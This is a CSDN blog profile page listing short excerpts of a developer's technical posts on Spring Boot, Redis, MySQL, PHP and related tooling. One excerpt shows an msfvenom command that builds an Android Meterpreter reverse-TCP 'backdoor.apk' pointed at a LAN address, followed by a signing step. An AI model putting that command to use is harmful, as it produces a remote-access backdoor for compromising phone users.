自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

张erdan的博客

个人总结

  • 博客(86)
  • 资源 (1)
  • 收藏
  • 关注

原创 windows端口被占用

netstat -ano|findstr "8303" TCP 0.0.0.0:8303 0.0.0.0:0 LISTENING 21992 TCP [::]:8303 [::]:0 LISTENING 21992taskkill -F /pid 21992成功: 已终止 PID 为 21992 的进程。

2022-03-03 18:19:12 351

原创 redisson防止重复提交

生成订单的api controller:package com.example.demo.controller;import com.example.demo.common.aop.NotRepeatSubmit;import lombok.extern.slf4j.Slf4j;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.Re.

2022-01-04 13:26:31 1164

原创 Elastic Stack使用笔记

本次使用目的:通过Elastic Stack搭建出一个小型日志系统从springboot开始输出日志到log,在maven中引入logback-ecs-encoder,来生成log.json,然后通过filebeat获取log.json,把内容存入elasticsearch之后,通过kibana来浏览数据。springboot服务+filebeat服务 elasticsearch服务+kibana服务 官方地址getting started进行开始:https://www.elastic

2021-12-29 14:50:19 1421

原创 spring security 引入认证、授权

添加controller,访问 http://localhost:8099/api/greeting ,页面打印:Hello worldpackage com.example.security.controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframew

2021-02-12 22:20:52 280

原创 hashset高并发下ConcurrentHashSet对比

发现打印hashSet.size()数量与预期的20001不一致。由于频繁add的键为同一个导致,尝试ConcurrentHashSet并发函数,问题解决。package com.example.demo;import com.alibaba.nacos.common.utils.ConcurrentHashSet;import org.junit.jupiter.api.Test;import org.springframework.boot.test.context.SpringBootTes

2021-01-31 18:12:41 1171

原创 springboot引入redisson使用分布式锁

springboot引入redisson使用分布式锁网址:https://github.com/redisson/redisson/1.加依赖(pom.xml)<dependency> <groupId>org.redisson</groupId> <artifactId>redisson</artifactId> <version>3.14.1</version></dependency>2.

2021-01-21 16:43:17 332 1

原创 springboot引入redis

三步:1.加依赖(pom.xml)、2.改配置(application.yml)、3.加注解(java类或者方法之上)1.在pom.xml中加载redis依赖<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId></dependency><depen

2021-01-15 14:50:04 297

原创 spring cloud alibaba组件RocketMQ引入

地址:https://github.com/alibaba/spring-cloud-alibaba/blob/master/spring-cloud-alibaba-examples/rocketmq-example/readme-zh.md官网:http://rocketmq.apache.org/docs/quick-start/三步:1.加依赖(pom.xml)、2.改配置(application.yml)、3.加注解(java类或者方法之上)1.pom.xml中加载rocketmq<

2021-01-14 14:27:25 1103

原创 spring cloud gateway网关+nacos注册中心实现服务负载

1.原理很简单gateway和serviceA都在nacos注册中心注册,gateway从注册中心发现serviceA提供的2个服务(只要愿意,可以启动N个serviceA服务),自动采用轮询机制访问serviceA。nacos是spring cloud alibaba的组件,spring cloud alibaba属于spring cloud的子项目。所以spring cloud alibaba的组件可以和spring cloud组件之间可以很好结合spring cloud gateway是sp.

2021-01-13 11:09:23 2001 1

原创 springboot中通过jdk原生注解开启websocket服务

主要说明在springboot中如何开启ws服务,并无具体收发消息的功能1.添加pom.xml<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-websocket</artifactId></dependency>2.添加@Configurationpackage com.example.dem

2021-01-12 17:33:24 441

原创 JAVA中把list进行递归树形展示

JAVA通过泛型把List转成treeList1.核心类:TreeListUtil<T extends TreeListDTO>依赖TreeListDTOpackage com.example.demo.utils;import com.example.demo.controller.dto.TreeListDTO;import java.util.ArrayList;import java.util.List;public class TreeListUtil<T ex

2021-01-12 10:33:53 1526 2

原创 mac中的IDEA启动初始化的springboot都异常慢

解决方案hostname命令查看自己的 hostname$ hostnameaoedeMacBook-Pro.local修改host文件sudo vim /etc/hosts修改条目如下,注意分隔符是TAB!不是空格127.0.0.1 localhost aoedeMacBook-Pro.local::1 localhost aoedeMacBook-Pro.local原理简单说,就是spring cloud傻傻

2021-01-12 09:25:14 664 1

原创 macos 下 vmware fusion 安装 vmware tools

https://blog.csdn.net/fangkailove/article/details/106164372https://blog.csdn.net/qq_34759481/article/details/81384120

2020-12-25 17:41:18 605

原创 MySQL的四种事务隔离级别

https://www.cnblogs.com/wyaokai/p/10921323.htmlMySQL的四种事务隔离级别本文实验的测试环境:Windows 10+cmd+MySQL5.6.36+InnoDB一、事务的基本要素(ACID)1、原子性(Atomicity):事务开始后所有操作,要么全部做完,要么全部不做,不可能停滞在中间环节。事务执行过程中出错,会回滚到事务开始前的状态,所有的操作就像没有发生一样。也就是说事务是一个不可分割的整体,就像化学中学过的原子,是物质构成的基本单位。2、一致

2020-08-18 16:29:11 127

原创 springmvc整合ActiveMQ

https://cloud.tencent.com/developer/article/1394245如果整合由于activemq-all,和slf4j冲突,那么activemq组件分别引入。如果由于javax.jms-api没引入报错,记得引入一下<dependency> <groupId>javax.jms</groupId> <artifactId>javax.jms-api</artifactId> &

2020-08-18 15:45:19 223

原创 mac下安装activeMQ

https://blog.csdn.net/ytangdigl/article/details/77740100

2020-08-18 11:52:15 220

原创 Mac下NATAPP将内网映射到外网

https://blog.csdn.net/longlongvalue/article/details/79458315

2020-08-18 11:19:42 245

原创 logback配置以及整合到springmvc框架的方法

https://blog.csdn.net/u013905744/article/details/78335296

2020-08-18 11:18:37 175

原创 获取七牛图片的十六进制颜色值后通过HSV找到匹配的颜色文字

如果图片放到了七牛云,则通过七牛api可以直接获取图片平均色调(imageAve)https://developer.qiniu.com/dora/api/1268/image-average-hue-imageave这里获取的是图片的十六进制RGB通过函数转换一下:public function rgbToHsv($rgb) { //rgb十六进制转为十进制 $split = str_split($rgb, 2); $r = hexd

2020-06-18 15:03:42 571

原创 在laravel中通过composer加载本地代码

https://www.jianshu.com/p/fb85cfb4fb3dhttps://learnku.com/laravel/t/1999/composer-local-path-loading-third-party-extension-pack

2020-05-17 16:08:37 426

原创 Mysql Workbench使用教程

https://blog.csdn.net/zs1342084776/article/details/88701261

2020-05-13 12:12:51 249

原创 lnmp 缺少fileinfo扩展

/home/centos/lnmp1.6已经安装好了。进入cd /root/lnmp1.6/src,执行tar -jxvf php-7.3.6.tar.bz2解压cd php-7.3.6/ext/fileinfo//usr/local/php/bin/phpize./configure --with-php-config=/usr/local/php/bin/php-config...

2020-04-11 16:52:12 276

原创 MySQL 5.7 中文全文检索使用教程

在MySQL 5.7.6之前,全文索引只支持英文全文索引,不支持中文全文索引,需要利用分词器把中文段落预处理拆分成单词,然后存入数据库。从MySQL 5.7.6开始,MySQL内置了ngram全文解析器,用来支持中文、日文、韩文分词。本文使用的MySQL 版本是5.7.22,InnoDB数据库引擎。ngram全文解析器ngram就是一段文字里面连续的n个字的序列。ngram全文解析器能...

2020-03-19 12:39:04 378

转载 MySQL中查看某数据库的每个表的大小或某个表的大小

用MySQL内置的数据库 information_schema,该数据库中的tables表保存了数据库中所有表的信息。use information_schema;describe tables;得到表的大小相关的字段:TABLE_SCHEMA:表所属数据库名 TABLE_NAME:表名 TABLE_ROWS:该表中的记录数 DATA_LENGTH:数据总大小 ...

2019-09-26 09:37:15 1494

原创 复选框勾选记住登录信息(三天免登陆)的实现

方案一:user表中加入u_express_token字段,登录的时候把生成的u_express_token存到cookie中来验证是否选择记住登录信息。u_express_token生成唯一的随机码就可以common.php验证 获取验证session['uid']; 如果(没有session['uid']){ 获取cookie['u_express...

2019-09-18 14:59:34 1263

转载 事务隔离级别:可重复读

事务隔离级别:可重复读MySQL [pom_5]> select @@global.tx_isolation;+-----------------------+| @@global.tx_isolation |+-----------------------+| REPEATABLE-READ |+-----------------------+如果事务隔离...

2019-09-11 11:34:31 577

转载 数据结构与算法之PHP实现链表类(单链表/双链表/循环链表)

数据结构与算法之PHP实现链表类(单链表/双链表/循环链表)链表是由一组节点组成的集合。每个节点都使用一个对象的引用指向它的后继。指向另一个节点的引用叫做链。链表分为单链表、双链表、循环链表。一、单链表插入:链表中插入一个节点的效率很高。向链表中插入一个节点,需要修改它前面的节点(前驱),使其指向新加入的节点,而新加入的节点则指向原来前驱指向的节点(见下图)。由上图可知...

2019-09-06 14:04:58 165

转载 mysql各种引擎对比-实战

1)存储引擎概述;(2)MySQL各大存储引擎;(3)InnoDB和MyIsam使用及其原理对比;(4)InnoDB和MyIsam引擎原理;(5)剩余引擎的使用DEMO(主要是Mrg_Myisam分表);文章目录:(例子下载在最下方)(1)存储引擎概述为什么要合理选择数据库存储引擎 定义 存储引擎作用 如何修改数据库引擎 怎么查看修改成功(2)MySQL各大存...

2019-08-22 09:40:51 223

原创 MySQL - 数据库的热备份和冷备份的优缺点

冷备份(off, 慢, 时间点上恢复)冷备份发生在数据库已经正常关闭的情况下,当正常关闭时会提供给我们一个完整的数据库。冷备份是将关键性文件拷贝到另外位置的一种说法。对于备份数据库信息而言,冷备份是最快和最安全的方法。冷备份的优点:1.是非常快速的备份方法(只需拷贝文件)2.容易归档(简单拷贝即可)3.容易恢复到某个时间点上(只需将文件再拷贝回去)4.能与归档方法相结合,作数据...

2019-08-20 11:26:04 491

原创 PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器

作用PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。(1). 为什么会出现php-fpmfpm的出现全部因为php-fastcgi出现。为了很好的管理php-fastcg...

2019-08-20 11:18:35 3197

原创 nginx4 种负载均衡算法

4 种负载均衡算法upstream 支持4种负载均衡调度算法:A)轮询(默认):每个请求按时间顺序逐一分配到不同的后端服务器;B)ip_hash:每个请求按访问IP的hash结果分配,同一个IP客户端固定访问一个后端服务器。可以保证来自同一ip的请求被打到固定的机器上,可以解决session问题。C)url_hash:按访问url的hash结果来分配请求,使每个url定向到同一个后...

2019-08-20 11:08:38 329

原创 PHP 无限级分类(递归)

$arr = array( array('id'=>1,'name'=>'电脑','pid'=>0), array('id'=>2,'name'=>'手机','pid'=>0), array('id'=>3,'name'=>'笔记本','pid'=>1), array('id'=>4,'name'=&g...

2019-08-05 12:36:15 299

原创 mysql慢日志开启

先查看慢日志状态SHOW VARIABLES WHERE Variable_name IN('slow_query_log','long_query_time','slow_query_log_file','log-query-not-using-indexes');打开my.ini配置文件在[mysqld]中添加#开启慢日志记录slow_query_log = ON#超过...

2019-07-30 16:05:37 752

原创 忘记mysql密码怎么办

1.首先确认服务器出于安全的状态,也就是没有人能够任意地连接MySQL数据库。因为在重新设置MySQL的root密码的期间,MySQL数据库完全出于没有密码保护的状态下,其他的用户也可以任意地登录和修改MySQL的信息。可以采用将MySQL对外的端口封闭,并且停止Apache以及所有的用户进程的方法实现服务器的准安全状态。最安全的状态是到服务器的Console上面操作,并且拔掉网线...

2019-06-12 09:53:42 1843

原创 微信小程序开发:从小白开发出通过自拍预测年龄和颜值的小程序

先看下效果(作者:快简):        1、打开微信小程序官方文档https://developers.weixin.qq.com/miniprogram/dev/index.html我们会看到让我们申请账号,这里先不着急申请,因为我们每个人都可以用测试号。向下滑动看到,开发者工具的下载链接,点击下载并且安装2、安装后打开,并点击小程序项目3.进入后看到此页面...

2018-11-14 19:34:37 3589 3

转载 天天生鲜,html效果布局

效果如下:html代码如下:&lt;!DOCTYPE html&gt;&lt;html lang="en"&gt;&lt;head&gt;&lt;meta charset="UTF-8"&gt;&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"

2018-09-05 14:39:36 3647 2

原创 Android,apk制作并且监听

Android,apk制作方法1、msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.2.248 LPORT=55556 R &gt; backdoor.apk2、keytool -genkey -v -keystore my-release-key.Keystore -alias and...

2018-08-02 15:30:57 777

原创 ffmpeg在windows的php中使用

说明:用来压缩视频格式转换用1. 下载:http://ffmpeg.org/ bin目录是执行程序,Doc是说明文档2. 先设置环境变量,设置完了重启一下  3. 打开doc文档查看,参考此处 4. 打开cmd执行  5. linux中运行由于exec()会等待执行,我们可以选用com,需要开启扩展 使用这里的命令就可以了 ...

2018-06-27 15:40:43 3299

转载 YII里放入支付宝demo

我们需要将sdk放入我们的项目中自定义的扩展目录,如common/vendors,为了更方便的使用,我们将引入支付宝demo中的pagepay文件夹,放入我们的sdk中,当然你也可以自己进行封装。 然后我们可以将demo中的config的代码写入到我们的common/config/params.php中,方便以组件的形式调用 重点内容: 注意,异步通知地址和同步跳转地址都必须是在线可以访问的地址。...

2018-06-25 13:34:36 492

转载 支付宝沙箱环境测试

1.获取电脑网站支付的SDK代码①下载代码具体下载地址:https://docs.open.alipay.com/270/106291/②介绍具体的代码中文件③具体同步回调跟异步回调同步回调作用:实现当用户支付完成之后能够跳转到对应的商户页面(确保用户支付完成之后能够正确的对用户的支付做一个处理操作)异步回调作用:确保商户对用户的支付做了一个正确的处理2.支付宝接入测试账号相关地址:https:/...

2018-06-22 14:51:04 582

天天生鲜html_images.zip

天天生鲜的htm_image,用于个人图片存储,https://blog.csdn.net/Zph1234/article/details/82423633

2018-09-05

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除